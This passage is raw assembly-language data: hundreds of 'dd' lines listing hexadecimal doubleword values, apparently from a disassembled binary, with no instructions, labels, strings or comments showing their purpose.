		dd 0A6CB811Eh, 0F56E2C0Bh, 0AF577084h, 5B31C9A2h, 0BE60B30Ah
		dd 8C6EFC0Eh, 55900945h, 0CC608A6Dh, 6BB58FDh, 1D6B6AAAh
		dd 0E52DAE36h, 0C0AED619h, 0F51A17C9h, 0BFE8F200h, 495EC5C0h
		dd 2CDF48ACh, 0BE0BB916h, 0E600037Ah, 3380AE1Bh, 0AD0367D9h
		dd 4DB52912h, 7485171Ch, 8F2CAB0Ch, 8984405Eh, 0A3DB510h
		dd 8ABB6604h, 0C334C00Ch, 7BF53A84h, 0C5E724F6h, 0E9E720E8h
		dd 46000DD9h, 0DBA970BAh, 5BF63721h, 8038BC40h,	0BA29C033h
		dd 8601D49h, 6F2741A7h,	41D87DD6h, 32F71A9h, 98908A5Fh
		dd 827EACh, 0C78155CEh,	7D4815FEh, 0B15CAA00h, 9D8B9050h
		dd 0B52F92A1h, 626C6FD3h
		dd 0B91A5EDDh, 5443D37Bh, 0E06ACA3Eh, 61718D89h, 9DB52701h
		dd 99060513h, 90193335h, 0E901E113h, 0F9618EFEh, 0E6FC02B0h
		dd 0CF4670h, 2C4153ADh,	0CCCF7AC4h, 52F91801h, 37CAF5E2h
		dd 335D806Bh, 0F2B771E4h, 3BD662E9h, 52579501h,	0C8B632CCh
		dd 8A21021Eh, 0C6F6BAFDh, 65CB16B6h, 0BAA9165Ah, 1DC21320h
		dd 0C79C0047h, 0EC815893h, 0F0B7263Eh, 895150A4h, 0AAD5D269h
		dd 0C82BD7C0h, 4C8A7EB3h, 8116D5D1h, 4564FB23h,	825CC30h
		dd 10EE0072h, 0A2048746h, 822EBC40h, 1D084494h,	38260Fh
		dd 8D096007h, 0FC9A17E5h, 36499D21h, 0BB06C422h, 0D03BB03Ah
		dd 891144EAh, 0BE18519h, 42164787h, 0BAE155F7h,	0F8237E8Ch
		dd 0AC325BDDh, 2C84C458h, 4007E844h, 0AD435BD2h, 0BD5C3B56h
		dd 22A58314h, 89F9FE09h, 95B25A9Bh, 199A6788h, 0B8E9C741h
		dd 3869584Dh, 1B548F5h,	9CE4F781h, 0AB211C78h, 0AE064Ch
		dd 9EAB6E4Dh, 0D8C9D30Eh, 0A8F89600h, 0B8315DADh, 0CBEC50A2h
		dd 5CD9B7DFh, 80E7E894h, 0B2EBBBF7h, 8C3400A6h,	5D0F17A4h
		dd 3D4D9D01h, 0B95B0B04h, 8A7BA25Fh, 0FC8185F9h, 19C7659Bh
		dd 0DC72418Bh, 66FC742Bh, 0FC5ED9F2h, 51B848E9h, 4CB0E600h
		dd 39CC9EF9h, 0FFF1BD4h, 9884AF89h, 6109606Fh, 23FD9D0Bh
		dd 97C02BB3h, 2507F183h, 0E137D211h, 0CDF19E00h, 75C4EB8h
		dd 80695375h, 908F39CFh, 0AD031F88h, 1D1C233h, 0E983D05Ch
		dd 7AF47504h, 8AE530F6h, 227B4C63h, 824F9809h, 0DBFEC127h
		dd 15C0AE5Bh, 8DBDFADDh, 60081304h, 9181CBD1h, 460412FDh
		dd 37880DDDh, 2445315Ch, 95856921h, 0DEBB1875h,	6752801Dh
		dd 486DDC5Ch, 9517C6FCh, 357ABF11h, 0ABDA2700h,	0CB4FEDCAh
		dd 2951E558h, 480099E9h, 257F2292h, 0C7A20375h,	0C28B5049h
		dd 0C1031890h, 553A08DEh, 581996DFh, 3E676EEEh,	0E5EF0296h
		dd 0B7315A01h, 0B8058E8Eh, 142CB185h, 0BD17C9F0h, 0FA745055h
		dd 3165841Ah, 0C00BCDFDh, 19C58D67h, 2A91B870h,	0E9140B91h
		dd 0F9022706h, 73CB3D0Ah, 4E2BFE82h, 796047EFh,	0F6CFCABDh
		dd 0B18A019Ch, 0FFD88BB8h, 88FED1E1h, 620F81E4h, 0EFFF03D9h
		dd 0B19840E9h, 81453DEh, 882F3620h, 0D6C51001h,	5A5B6AFBh
		dd 0BD37EFCh, 792835BAh, 83034434h, 5B0D5BDBh, 1B258529h
		dd 0BC5FEF23h, 541E0F23h, 0B74460A8h, 1FFFEC70h, 4255745Ch
		dd 60CAF145h, 0C05A6DFDh, 99D13EF1h, 0AB58BDh, 0E9345ABBh
		dd 2D75BF5Ch, 80482205h, 826F04E1h, 87DE3D01h, 707A5DACh
		dd 4E0AE726h, 0B0C90A1Bh, 9D27F61Ch, 8016911Ah,	66798FDCh
		dd 817D2EBFh, 2F45080Dh, 0B5D09025h, 13A20089h,	8D5D1177h
		dd 15D8533h, 5C572FBDh,	0BD206F1Ch, 0FB3B6628h,	0F6BA7400h
		dd 44BE2D0Dh, 2AFE3802h, 25860C10h, 9322185Bh, 8ABE007Bh
		dd 5CA403EBh, 0ED0BBF6Bh, 87503A32h, 9084D33Dh,	1888C28Eh
		dd 7DE24AC0h, 56145C4Ch, 0BFDF5D35h, 1981DED5h,	680022F9h
		dd 0A6002BB6h, 2434810Eh, 0EFB92849h, 4A3DD630h, 252F451Fh
		dd 8DDEEA2Bh, 0D26A8585h, 33070D54h, 5AD6A565h,	0A6559EA2h
		dd 0E9DE020Bh, 3952014Ch, 0D429DD68h, 0F728531Ah, 0CFE00CEDh
		dd 2F5EA27h, 73F1EC42h,	0B58774D1h, 0C9B39104h,	7318C1C7h
		dd 0A7911E7h, 7A57B51Ah, 725E7B57h, 3A65D057h, 3D4881D9h
		dd 2AB2FE10h, 310898Dh,	249E7D9Dh, 0C83C84Bh, 461D1CBDh
		dd 146E045Ah, 15168D3Ch, 0BF20FB50h, 8C0A0Eh, 0A13DB8A2h
		dd 821C9553h, 6893424h,	9D09511Dh, 5B2BC071h, 0C1B555FFh
		dd 0D2BC1E69h, 0E2C11E14h, 0CC6800F3h, 56FA071Dh, 71B0B852h
		dd 481035Bh, 17E63324h,	559DEE0Ch, 938D801Bh, 842614h
		dd 53908B7Ah, 2F76B460h, 5F61D60Fh, 2574950h, 455BDF25h
		dd 0D674245Eh, 0B80DE305h, 9482890Eh, 7261071Ah, 0CF509995h
		dd 0CC85C726h, 0ED2B3A6Dh, 3DDB8D5h, 0C0A36D01h, 0E6002039h
		dd 607B4EF3h, 24D60BB8h, 1D0D4337h, 0C489F44Dh,	0D38B240Ah
		dd 505F516Dh, 0F5BC2CADh, 754E0301h, 0C8B307FDh, 0FFC21C61h
		dd 0A841BCCFh, 0ED2ED807h, 86DF80FAh, 38305090h, 4439110Ch
		dd 0E8C10187h, 20EAC10h, 3FC4CE0h, 7843584Ah, 7736EBE7h
		dd 0E648136h, 1B8C857Bh, 0D0282950h, 58331821h,	57420113h
		dd 2603481Bh, 500511C0h, 0C08AF8F6h, 29AF8511h,	0A167C4FCh
		dd 0A56D5DE9h, 9D9E58E1h, 2E20AE8h, 60D465BDh, 122E830Fh
		dd 8A54704h, 7BF7CD56h,	17E08EB6h, 0D2989ED7h, 0FB22CD26h
		dd 5B335D42h, 6E8D00F9h, 635387EBh, 0E418F100h,	2B60456Ah
		dd 8F95499Dh, 24E6F524h, 44F119Bh, 1EFD8D29h, 69879794h
		dd 980040Ch, 0F9693C3h,	63FC0Dh, 509909B8h, 68F0BF01h
		dd 0F9965213h, 0E67F7249h, 0EE00E7B7h, 1C840B76h, 681DB529h
		dd 183D2574h, 16913E1Dh, 6CB6C080h, 0BD252B56h,	5FA50071h
		dd 98B6057h, 73C980CFh,	0C9894D88h, 62344D5Dh, 0A040FDCAh
		dd 94C83EBh, 5B51205h, 0C0159BABh, 559E36Dh, 0E600B8D3h
		dd 9DEE036Eh, 0C4868962h, 0CFBD2B5Fh, 0AA0071B8h, 0D2C775B8h
		dd 1289979Eh, 0CB0135B5h, 0AC7059F0h, 0F2E403E0h, 0C2839161h
		dd 0B1A81FCh, 46E27FDBh, 0FEEE5800h, 0B737387Eh, 5F640D00h
		dd 0DC1A8CC2h, 50890333h, 1D9D2920h, 0D52F8885h, 7BCEC551h
		dd 6CE08BF6h, 3C314667h, 68028EF9h, 1FB8A342h, 5F801C91h
		dd 49FF7F9Ch, 0F4A97309h, 31D10593h, 955414D6h,	0D6D776h
		dd 0F47EA222h, 4F4DC90Eh, 0DD5ED090h, 984A39E8h, 0D92F9D1Dh
		dd 0C82B3312h, 0EFB2C9Eh, 6888E2D7h, 160FA365h,	202BCD8Fh
		dd 20408D51h, 0FA8B1B96h, 45702650h, 0E048B7F4h, 2355150Ch
		dd 4D4A983Dh, 8B71B42Eh, 0EE81889h, 0E59619E9h,	0A7B21545h
		dd 711B011Ah, 60E8B2C0h, 0C2BB5003h, 0DF2720CEh, 935FFC72h
		dd 8A927334h, 1DAD37C0h, 91CDB795h, 0F82A8018h,	0BD4E014Ch
		dd 6A00ED59h, 0E5B2985Dh, 4A880404h, 0BB3DC91Eh, 7349F6A2h
		dd 0B8C19B8h, 353A2B10h, 0BD0B8101h, 4CB27941h,	329779BCh
		dd 5D9B0502h, 0E9A890D4h, 0BF2029A2h, 4AA09C0Ah, 9DE8D866h
		dd 0D9ED0CE2h, 44F66FC6h, 5FC80E0Fh, 0D25C5D80h, 10659415h
		dd 0EA527530h, 1C9D0A2h, 0F0C0061Ah, 8A091563h,	5878E927h
		dd 0FCF3BDD7h, 1704370h, 18081BB8h, 0CB858945h,	0C14AC3B6h
		dd 0CD6BBEh, 34A301BBh,	9051FE8Bh, 19BA952Bh, 41324DFFh
		dd 0F4025A95h, 7C0034D6h, 81D36C2Eh, 0BFB06DBh,	60504C26h
		dd 0CC759AF7h, 195E9708h, 0B2EB800Eh, 0D800A6B2h, 53F3FD09h
		dd 7497514Fh, 6D01DE9Bh, 0F10AE6Bh, 0B17AF8B7h,	2FE125EAh
		dd 0CEBC18F9h, 0FE659F02h, 0CB82Bh, 63B9290h, 0A85FC4Bh
		dd 20191904h, 0A850F504h, 918D2FACh, 512ADD3Ah,	0AD5E80B4h
		dd 56DCB965h, 48BF0657h, 460A8D8Ch, 0C278039Bh,	0E68003DBh
		dd 0F9BF0F71h, 0C6E465Bh, 927321Dh, 4275F1A0h, 2587075Ah
		dd 97024C8h, 10712DE9h,	61DA72B2h, 0A814B1A9h, 10DAD0EFh
		dd 0C34B29A5h, 8DD0D111h, 9C951FF5h, 7B564FBBh,	0DF0802B3h
		dd 61026A14h, 0B29C90FEh, 44AAE888h, 4001011h, 4D4FFF55h
		dd 0BCF085h, 0FEB9C752h, 0F847F917h, 0D6BF5100h, 5B4CD3B6h
		dd 2C90585Fh, 6689534Fh, 0F812FE38h, 3CB321E9h,	929A84h
		dd 6D271BBFh, 0FAF9BD68h, 0B7B6803Fh, 0D1F2F4C2h, 0D65500C5h
		dd 7C78EC9Bh, 9A9521B2h, 25B0024Ch, 0AF900418h,	0BB0170F2h
		dd 7D9EDC46h, 90AD2A50h
		dd 8680E13Dh, 727BC774h, 60008E0Fh, 0E3589527h,	496C05Ah
		dd 90DE9CB0h, 0A1C7C153h, 545B0205h, 193C409Bh,	4E39D257h
		dd 73D784B6h, 2EAD0C7Fh, 17316F96h, 7B00D42Fh, 84DBC60Fh
		dd 12F29860h, 0EF9D01FBh, 5BA9CDC4h, 80E8DB93h,	0FCCECB02h
		dd 0AA074AFBh, 0DAFEF165h, 0EB4B9F2Ch, 0C609086Ah, 2B042010h
		dd 0AC07C59Dh, 2BF7A288h, 82B07861h, 0E6D9BF0Ah, 65274170h
		dd 8171E410h, 0CB29CF04h, 0B8872CBFh, 0CCFE1BF5h, 37B9D16Fh
		dd 662A25BBh, 0DAB72586h, 230B8164h, 1012659Dh,	58DB8034h
		dd 0D309C35Fh, 7A58841Eh, 18D48C4h, 4378A112h, 0C912B9D4h
		dd 3813C82Bh, 0BCD182C8h, 0E1E94AA1h, 0B71AAD85h, 0E4E9DE49h
		dd 8C1160F4h, 0D8500FF4h, 8D124778h, 85B1DFBFh,	70FE8703h
		dd 0A079BD0Ch, 249593A2h, 1458127Fh, 13110B71h,	9B404AE9h
		dd 4865055Ah, 0EFD98A4Dh, 0A301F68Dh, 622B0185h, 0A4982D80h
		dd 1FCA1905h, 0FE1B1BA5h, 130C21Ah, 48860F51h, 2FB0F94Ch
		dd 0BB7A9554h, 6C26A025h, 0B7C2081h, 4AC58B4Dh,	0AD02376Eh
		dd 9BB6B9CFh, 0EFE4F5h,	98D741ACh, 0AACCA14Ch, 8502F500h
		dd 42F787BFh, 0A8F4A366h, 0BF5F863Bh, 1659FA7Bh, 33287A18h
		dd 0ED20A5BBh, 84B93A08h, 636FBBCBh, 0E69E9300h, 287372B7h
		dd 0D5C4C65h, 6A12B752h, 0FF43C7CCh, 0F8DC092Bh, 0DA049E79h
		dd 0E2AA13CDh, 82DE8BEAh, 20D31B2h, 0CDF7FC5Fh,	3DCC079h
		dd 0F1AA91BDh, 0C82E28F9h, 0E6C504DCh, 0E071B2ACh, 0BA811C46h
		dd 4A2B46C2h, 5FB5DBFFh, 8001866Ah, 0B7C14708h,	14F525E4h
		dd 54A6ABB1h, 0BC7026B7h, 7A20D524h, 564FDF42h,	806449A3h
		dd 0D00B029Dh, 75C60C8h, 9917259h, 0CD9B7D2Bh, 953C1C5h
		dd 22E3E018h, 5221A184h, 4A76B6A3h, 0D585CBD9h,	90A6AC0Eh
		dd 0D0909DEAh, 0FD00F228h, 843B09EEh, 9D810C0h,	0D6C40807h
		dd 89457159h, 0DC7DDEFBh, 0FB4B3443h, 534084B8h, 2AA59DBBh
		dd 6E5F0C25h, 0D4559E67h, 0C78F8A04h, 72C13A6Ch, 0FF01193Dh
		dd 0DBA93AE1h, 230155B8h, 2F66D47Ah, 0BFDC7BC6h, 5C711269h
		dd 0BAD71218h, 95A86784h, 2B0352A1h, 5CBCAAB9h,	8F703009h
		dd 449359F5h, 926B3440h, 0D6206802h, 78C011B8h,	9495916Fh
		dd 2D92090h, 9520337Dh,	6E604B25h, 9F317F9h, 499D18E0h
		dd 844A9E21h, 5F74A87Eh, 56B8ABEDh, 6BD2664Ah, 0BD012198h
		dd 7D9F614Dh, 1E449604h, 47AC236Eh, 8220B7C4h, 8158D8B4h
		dd 6790B792h, 0FD68DB02h, 6086280Eh, 0BEEE1C16h, 0F50201B0h
		dd 7DFC79F6h, 8C14AC90h, 0E18C9B4Ah, 4A31E260h,	61EF9395h
		dd 0E999D6E3h, 0EA112A7Eh, 4E80BC94h, 817E34BCh, 2B078D84h
		dd 0F3800D71h, 69E554E6h, 26B6457h, 72F7D781h, 0EB54759Ch
		dd 7F1846D6h, 0C08F4D09h, 0BEE55175h, 7BD7D4D0h, 0F6D6D26Ah
		dd 27A0F73Bh, 14CC2C89h, 0B4F943C7h, 9512884Ch,	0DB0D291Ch
		dd 2B25B1E1h, 90041124h, 50012601h, 0CEEB8A60h,	3FB5255h
		dd 5B72EFECh, 0A88C61A3h, 0F56E5AF8h, 5B85A00h,	446EBC4Ch
		dd 62BBB24Bh, 1C56DE2Fh, 286D506Bh, 44CCEF0Fh, 58906007h
		dd 0AFB2D600h, 896E6861h, 41E06AA6h, 7A91825Ah,	9DF31F78h
		dd 94A2F270h, 0B851409Dh, 9249FC2h, 4538BD7Ah, 5032302Ah
		dd 0BE006056h, 5D69DCBDh, 0FF61D88Ah, 0F47FB325h, 96018F43h
		dd 59865575h, 0E28FCF82h, 5F092DE7h, 0DF8BAF30h, 1C808490h
		dd 0F602EE80h, 9D42CCD9h, 7A235698h, 0AC63BA4Dh, 7ECBFA11h
		dd 5F1210A7h, 0B82B5029h, 0E9DB4A9Fh, 0E4715884h, 1BD641B9h
		dd 69E020B6h, 0E9125F11h, 0ECB0FA8Bh, 0CE714A9Ch, 6E3AB90Eh
		dd 0AA450056h, 1E6D034h, 0DA292820h, 972BF6D5h,	5960657Eh
		dd 213973h, 6A9529A5h, 0AD29B4Ch, 65EE5825h, 87981A46h
		dd 582B5B55h, 0F509FB1Ah, 55174FE9h, 1CA520C4h,	565B6499h
		dd 562A9DD1h, 0B7ABDCA3h, 21CDFE4Ah, 30B81169h,	0B654AC02h
		dd 546DFC88h, 0D2969A0h, 37A52651h, 704D05ADh, 957AC42h
		dd 0A2503E35h, 0FB63B786h, 134AA548h, 8F3BA660h, 0DAEC48A4h
		dd 54C83A95h, 7900D4FBh, 42EE943Bh, 173C677h, 0C9C7813Ch
		dd 2A3234F6h, 3B08CB35h, 0E469800Fh, 4FE21CF5h,	0F1E7160Fh
		dd 79E1E774h, 5FD78C37h, 16F94619h, 576D8D89h, 0ABA0C417h
		dd 18B08FE6h, 0F305AAFAh, 1E8A6316h, 0A6E53A84h, 2B0FB17Ch
		dd 0E530A1BDh, 83A029A6h, 35955158h, 801891ABh,	0EB3EABCEh
		dd 8788B1B7h, 0A4BDE01Bh, 4F7DEC6Ch, 6B7A4F52h,	9014BB4Bh
		dd 57A4A522h, 0E5BD1629h, 8D05622h, 81BB0D6Dh, 0EE7EBF52h
		dd 1C7A7AB9h, 4DA9E01Eh, 0FEBEFC66h, 91FA3597h,	0C1618F1Bh
		dd 14E392DBh, 0AA212CFDh, 5934046Bh, 0C3CD171Eh, 12D8CD20h
		dd 0A27B93B6h, 578789C3h, 0E40E76Fh, 121C9152h,	0AF9625BEh
		dd 0AB5DCB90h, 3A360F27h, 70809D12h, 0EDA701D7h, 672CAA01h
		dd 0C944DB86h, 7EDC4F6h, 0E95150BEh, 0BC51A9C3h, 17BDB400h
		dd 5B04AEh, 0E2A9D94Dh,	23DE819Ah, 2899B51Fh, 82C4D03Eh
		dd 0CA020B45h, 0A4BF2005h, 13001E90h, 64B96096h, 0EC44BABDh
		dd 75852589h, 35BF9D60h, 13C4F117h, 0FC8AAA05h,	0CC9BD264h
		dd 77FB8CC0h, 9F258209h, 97B044F8h, 5452E276h, 0AC8B645Ah
		dd 11A499BFh, 49461C68h, 453FFE4Ah, 63E8D601h, 2AFCC274h
		dd 6A3F279Dh, 482A03A5h, 0BAE02E88h, 514156A9h,	81C31414h
		dd 75AA9C7Dh, 0FA5A092Ah, 0B7253F58h, 822C6550h, 0B4B96660h
		dd 0C004FA7Eh, 87AC61CAh, 0E9E31270h, 802FB0D7h, 8EE5D32Dh
		dd 53FCA9D6h, 0D48EAEE9h, 0AE556D03h, 9BC7AD5Ah, 1242229Ch
		dd 2E37E900h, 60DFF435h, 7394034Eh, 621D7F0Ah, 0AB0701E8h
		dd 6125B0C4h, 250E4F96h, 4101CAEEh, 0FE2DB509h,	5C074F89h
		dd 46D4D881h, 0C0FE2714h, 0A0DC0F3Bh, 4EA08C80h, 7A15AE3Bh
		dd 5B1BC62h, 98E9C431h,	37F5EC9Eh, 7F52CEBCh, 61372999h
		dd 0F7F04680h, 160DE5B5h, 0DB6AB31Ah, 0B2EDC088h, 1AECAC68h
		dd 46148EBBh, 0BC703553h, 0A1D5A0D3h, 0F601271h, 21D8B280h
		dd 1B7DA58Dh, 0D49B1D5h, 48DA762Ah, 0BBB48A01h,	1E9D7CD2h
		dd 0DDB442Ah, 463142Ah,	44223D65h, 71A2E1A8h, 698EC92Eh
		dd 670603Ch, 6110404Dh,	90026A12h, 8105B608h, 1AC836BBh
		dd 746611Dh, 5B6B91D4h,	41A92B90h, 684A46ACh, 81C92B84h
		dd 0BC20B92Fh, 9BFE21Fh, 29F85BB1h, 7221DE89h, 2A0DEBE9h
		dd 4196FC2Ch, 2AD621A0h, 0B90218ADh, 3EE03013h,	8CDB0668h
		dd 0F48C044Ah, 63C49529h, 92C0BEA8h, 0DD47408Ah, 0F114BF31h
		dd 12E5BBADh, 540F2492h, 0CFF052B8h, 57E99ABEh,	54E903C7h
		dd 0F419E0BFh, 8102FF6Ah, 4853E5CBh, 0E10FC175h, 0A6BE9144h
		dd 97D4E0C2h, 5859048Ch, 0FC890FD7h, 0B6DBC0FBh, 95DCB373h
		dd 11CD030h, 0EAF86080h, 0EED54D8Dh, 25B0611Ch,	0F1F066E4h
		dd 3EFEAE04h, 0DFA88AC0h, 2D699D08h, 0E98D2941h, 56230A7Bh
		dd 171D8B1Dh, 5F127659h, 97DFE7A4h, 1CE567Eh, 0C35C7C62h
		dd 60EB092Ah, 14007EF9h, 0A922CC39h, 3BD40085h,	0FF0E1A1h
		dd 5925C2B7h, 64FE4461h, 0AFCE1660h, 12A12814h,	0F9A1E208h
		dd 0A5BE3614h, 3BFD7C46h, 0EA852F60h, 59850222h, 0C82B202Eh
		dd 5B13F850h, 0F604D18Bh, 0A3AB0ED5h, 75314FA6h, 536EB589h
		dd 2D9804F2h, 5FB30410h, 2269FBA8h, 12D998D2h, 7FAFCD35h
		dd 540DFBA4h, 0E9DE0A43h, 0D361E846h, 0E82AB511h, 1293943Eh
		dd 0F4A29107h, 0B05D2E25h
		dd 0A079CCh, 0D1423883h, 65F51FB5h, 0D67D9C0Fh,	26A58A33h
		dd 1F4EFE18h, 838F98BBh, 0CF780960h, 0F55363D0h, 2515CA08h
		dd 80893557h, 41DC909Bh, 0EA14B2E7h, 90A4810Fh,	94512B5h
		dd 0F9C9DA92h, 67E626E1h, 9840BF22h, 0E3650215h, 89C4D100h
		dd 52D36973h, 0C3925124h, 5B89972Ch, 7BA50A5Bh,	0DE305030h
		dd 80511C3Fh, 1D5718C7h, 25B95B1Bh, 3777078Ch, 0BAC68092h
		dd 3E9EDBF0h, 0BD4815B0h, 0F0A66B30h, 0DCE496DDh, 5882501h
		dd 0A9B11D9Ch, 0BB001C68h, 2F9D46A8h, 5B1256FCh, 0C7A1C02Bh
		dd 81079E2Eh, 86C5B89Ah, 2853202Bh, 0AD072D22h,	0B582CF10h
		dd 6A659320h, 0C97750FCh, 0AD1F4159h, 0BBBB905Ah, 0FFB61214h
		dd 0D708B64Eh, 1C80C49Ah, 66629288h, 33D49D0Ch,	25BD32EDh
		dd 3775206Dh, 7FF2842Eh, 9803AC75h, 0B513DDD8h,	9AD8B63Ah
		dd 0D59D304Ah, 3BBDD37Ch, 0A2FC77FCh, 7F6E595Eh, 70AD8D00h
		dd 98B35BE2h, 0CC813807h, 0DA24FE8Bh, 33A2E8A8h, 0CAA8FC24h
		dd 0D1E297h, 715C6AC5h,	255FA191h, 0D146F539h, 29F460E9h
		dd 96E1FF80h, 1FA040B2h, 8A00A236h, 10EB21C7h, 95D98B9Dh
		dd 5B209214h, 15B32504h, 671F7445h, 0FB5BDEDh, 0E7A0C6B2h
		dd 2EF3EC83h, 748AF94Ah, 9D044470h, 0A505B921h,	58405A6Dh
		dd 0B44EE81Bh, 7EEC048Ah, 5974A8F8h, 5C8ABCFFh,	3910D586h
		dd 97155F2Bh, 38AFBC75h, 0E284BBA7h, 0A93257C4h, 12A139Dh
		dd 0C37CDBABh, 10C107C7h, 4828D9A4h, 0C027CEEDh, 16D7F9Ah
		dd 1E55009Dh, 26D4BA62h, 0CB16E2C0h, 8500196Eh,	4AD7298Dh
		dd 0D914955Fh, 2D07E723h, 0A1001BB7h, 9818057Ch, 0C2220567h
		dd 8250F871h, 0E32E0E56h, 0D20BB352h, 419A5D31h, 3DC88F7Ch
		dd 5528007Eh, 0B7AEE87Bh, 0FE4A4EAAh, 2453FBh, 68E2A0D2h
		dd 0E525D9F7h, 32960137h, 37F5BFEh, 0FADA082Ah,	0B8AFBDEDh
		dd 6BEA2505h, 5C9C546Eh, 124500D4h, 8979F64Eh, 45F018Dh
		dd 0A5303FDDh, 419004B7h, 95BEE913h, 0D73CF92Ah, 762EEF6Ah
		dd 160211CDh, 7812FB8Bh, 0E93A52A1h, 0C1848F50h, 316A98A5h
		dd 0CF100EEDh, 17CEE65h, 0F45F4600h, 8446C39h, 8FDD5C7Bh
		dd 38116D10h, 7B20CA5Bh, 3F20C3E1h, 96A52EDBh, 0F59E7866h
		dd 95296002h, 45B3DC45h, 61B149C1h, 80826959h, 75899DC3h
		dd 1D51DB02h, 4DE94056h, 6440CEE6h, 0B92CC42Eh,	3DCB6050h
		dd 809C1348h, 61F21BE7h, 18F32580h, 3CA06B62h, 5AC2BF50h
		dd 8B6FAA2Dh, 7083738Ah, 0C700421Eh, 0FE49B0A9h, 0A68E0F27h
		dd 0CCD84AD3h, 6800FC5Ch, 373E432Fh, 0B41A8C0Fh, 0CB8B422Eh
		dd 0CA03C7F1h, 0D0F99356h, 0FA84235Fh, 7B8301D1h, 5E8B2CCEh
		dd 0D08B2461h, 0B6214022h, 0F112D486h, 58B2B623h, 0D6E81E59h
		dd 8AD1F609h, 412FF0F8h, 0D7053F07h, 0EC399EBh,	0BD33C0DFh
		dd 0B20D4A31h, 8FEAD208h, 33B1C375h, 58D4E8B8h,	18F0408h
		dd 142A9DBDh, 1AD51044h, 2F111C9Fh, 0F8AEB4EDh,	19AA00D4h
		dd 11969305h, 8512296Eh, 78A31FADh, 3F3B528Dh, 0D110E920h
		dd 0E8D8005Bh, 0C04AC2E5h, 581C2AA6h, 7103A50Eh, 0F8E7074Dh
		dd 784F381h, 0E955FED7h, 395E0949h, 41073F4h, 93010B99h
		dd 0B2F2AE12h, 2AAACD5Bh, 0BDA59B3Bh, 2EAA86Ch,	66021C15h
		dd 0DD76FC3Dh, 0B06B0BDCh, 8FC6801Bh, 20A51495h, 8A240496h
		dd 875908DEh, 5F1124FEh, 0F1807C40h, 1B53BFh, 0B6D34D05h
		dd 6F976D0Dh, 29F44607h, 0C5EB318Dh, 32CDADC1h,	53AEAC40h
		dd 90417358h, 13952090h, 0B9DD5F4Ah, 43C1345Ah,	70851C66h
		dd 0F971E787h, 7C5B92BFh, 0B010DE5Ch, 0E45529E5h, 0BDDB742Ah
		dd 19EA8BDh, 54076435h,	309645B3h, 501DD8C2h, 0B7EDDC8Ah
		dd 0A5E30BDCh, 1C59BFDBh, 5D006618h, 9F3790FCh,	9E7FFB54h
		dd 0AF3E40D0h, 550039FFh, 3542F4D2h, 975F5A70h,	3F512E1Ah
		dd 402A4B0Eh, 0C56CA861h, 0C11C1542h, 3E5EC7F5h, 1A23E0h
		dd 22C58C83h, 3B4B3C68h, 1DC85A9Ah, 40719DC0h, 0B43800B5h
		dd 0FDC2F6F9h, 0A5B1860Fh, 5DE2F892h, 166EAF4Eh, 8EF98214h
		dd 0D574DCC0h, 0DD041330h, 5E4E4AD8h, 800975E3h, 6E70EDCFh
		dd 0D9BBF04h, 4AB81242h, 0E0E1E64Ah, 967C091h, 0B0D3C5Ah
		dd 19A46671h, 0F7B87F27h, 7E00513Fh, 7BC129A9h,	3DAE54A4h
		dd 8907316Bh, 99443865h, 0CF956570h, 0A1796018h, 0B2127637h
		dd 0C8EA3A43h, 0C9809B6h, 434AE5B4h, 0FE4AE860h, 0A3420EA2h
		dd 96A28AAFh, 7E4C8262h, 0ADBD230Bh, 8BB2D32Ah,	827150F8h
		dd 0F5727900h, 5491DAh,	6AF6D185h, 2DE06BAFh, 6483F327h
		dd 0E2D20176h, 23D5F975h, 0B78BF6FAh, 175BDC09h, 27B4A70h
		dd 74E1FD97h, 6A56E0B7h, 1546D6h, 77BB07C5h, 972D336Bh
		dd 7A5B7B1Ah, 0BD6FAB70h, 1AE12F90h, 8D19F09h, 0F48B007Eh
		dd 9858FB8h, 283B3DBAh,	4444A771h, 1C17BBFh, 0D36B60E2h
		dd 8C3E8F0Fh, 1740B167h, 0BFF9EE96h, 3931A727h,	5B864D51h
		dd 2524585Ah, 2C89F1BDh, 1B59645Bh, 48008E18h, 0B9EB988Ch
		dd 3B66471Ah, 0FF4AC1BBh, 0E0968E4Fh, 0B11726C5h, 0FCA400A3h
		dd 6BF2F669h, 59135060h, 81EA8531h, 2E5B615Ch, 0F4897733h
		dd 0E24AA0EDh, 58B1A814h, 7E259760h, 0ED9770CEh, 0E8EC45D9h
		dd 0CB131205h, 32896FE2h, 7D148ABFh, 0CA1128Ah,	0B74C8BE7h
		dd 0A80A9512h, 71F889CDh, 54FB6B8Dh, 0DC0970h, 19C9D288h
		dd 0E3B2D69Ah, 0F238E974h, 895185FFh, 9B429DBDh, 73C18B5Bh
		dd 4756719Ch, 0D6F8429Eh, 91AF3555h, 6B99801Ah,	1E9CF85Ah
		dd 0AF907286h, 469F4A90h, 4062400h, 21847A73h, 9175090Ah
		dd 0E8F40BFDh, 94EF5512h, 0E177B60Dh, 0C2F827D9h, 89780473h
		dd 0BF1A6DB5h, 0A221AFA4h, 8D8C752Fh, 0B05F5DF0h, 1EB59C0h
		dd 84204BB8h, 0B82EEDC3h, 0F223000Dh, 329B6C16h, 18B32048h
		dd 0B5BD3302h, 0BF500028h, 3FFDF739h, 69A8AED5h, 7CBADF1Ah
		dd 7DC4054h, 0D1C8A0B8h, 0DD7EC0E3h, 6A5B3515h,	0D1C0FF9Bh
		dd 0D63AB217h, 9791EE9Fh, 0A6005035h, 0B98452F3h, 8B56098Dh
		dd 0C3715BFAh, 1C0042A8h, 0FF47C46Fh, 35B509D1h, 0F87203F1h
		dd 20628ED2h, 6A1B2296h, 0A66309D2h, 0CA715C9Bh, 0EEA97845h
		dd 8613CCECh, 790E2B22h, 2F719ADh, 3506E3Ah, 8BB0FBB7h
		dd 3143883Fh, 508D01B3h, 76DBF7BBh, 0FDFF5568h,	968C8BB3h
		dd 0A6A40077h, 0D5164D46h, 70000C6Ah, 0F16911EBh, 9DC9B26h
		dd 84E98FE2h, 67C2D171h, 60A608B0h, 8559637Bh, 0A7280407h
		dd 0DD4651Ah, 0F4F08BEh, 0AD15F327h, 14507053h,	54D16231h
		dd 500720A5h, 819EBFC3h, 536B4E8Dh, 194183F5h, 0FEB7FF12h
		dd 0BB02F9E6h, 5E6216CAh, 0BD941455h, 439AC35h,	94C60EDh
		dd 130DE2C1h, 0FC0FDC3Fh, 0BF046A78h, 282B2CE8h, 1C2DDAB8h
		dd 5740E1EFh, 4AD19589h, 849EA230h, 0A0160124h,	7E2749CDh
		dd 0B52240B0h, 0E6134405h, 0E781701Ch, 0F2B9768Fh, 25B5C6E0h
		dd 9F510C8Dh, 9D84FD90h, 9EAC6481h, 0DBF38082h,	98561BC2h
